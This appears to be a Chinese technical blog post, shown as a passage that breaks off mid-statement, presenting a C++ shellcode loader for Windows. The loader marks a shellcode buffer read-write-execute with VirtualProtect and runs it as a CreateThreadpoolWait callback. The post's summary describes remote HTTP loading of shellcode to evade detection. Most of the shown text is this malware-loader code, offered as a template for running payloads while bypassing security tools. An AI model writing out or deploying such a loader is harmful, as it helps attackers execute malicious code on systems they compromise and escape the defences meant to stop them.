线程池等待对象回调函数执行（CreateThreadpoolWait）

最新推荐文章于 2024-10-25 09:07:13 发布

原创

最新推荐文章于 2024-10-25 09:07:13 发布 · 605 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#网络安全 #c++

文章介绍了如何使用WindowsAPI中的VirtualProtect、CreateEvent和CreateThreadpoolWait等函数，配合shellcode实现内存管理，以及通过HTTP远程加载shellcode以绕过检测的过程。

最初始的模板

#include <stdio.h>
#include <Windows.h>
 
int main() {
   
   
    unsigned char buf[] = "shellcode";
 
    /*
    * VirtualProtect是Windows API，用于修改内存访问权限
    * 参数1：指向内存的指针
    * 参数2：内存大小(以字节为单位)
    * 参数3：新的访问权限
    * 参数4：用于接收修改前的访问权限，NULL表示不需要接受(但是会出错)
    */
    DWORD oldProtect;
    VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect); // shellcode内存后修改为可读可写可执行
 
    /*
    * CreateEvent是Windows API，用于创建一个事件对象
    * 参数1：安全属性，NULL表示默认
    * 参数2：是否手动复位
    * 参数3：TRUE表示事件对象的初始状态为有信号状态，否则为无信号状态
    * 参数4：事件名称，NULL表示不使用名称
    */
    HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
    /*
    * CreateThreadpoolWait是Windows API，用于创建一个线程池等待对象
    * 参数1：回调函数指针
    * 参数2：回调函数参数
    * 参数3：线程池回调环境
    */
    PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)(LPVOID)buf, NULL, NULL